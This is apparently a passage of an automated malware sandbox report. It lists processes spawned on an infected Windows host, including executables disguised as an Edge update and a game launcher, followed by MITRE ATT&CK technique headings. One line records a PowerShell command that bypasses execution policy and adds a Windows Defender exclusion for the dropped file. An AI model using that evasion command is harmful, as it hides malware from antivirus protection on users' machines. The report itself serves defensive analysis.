        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        35⤵
        
        PID:6476
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        35⤵
        
        PID:2444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        36⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6812

C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5980

C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
1⤵
- Executes dropped EXE
PID:5236

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry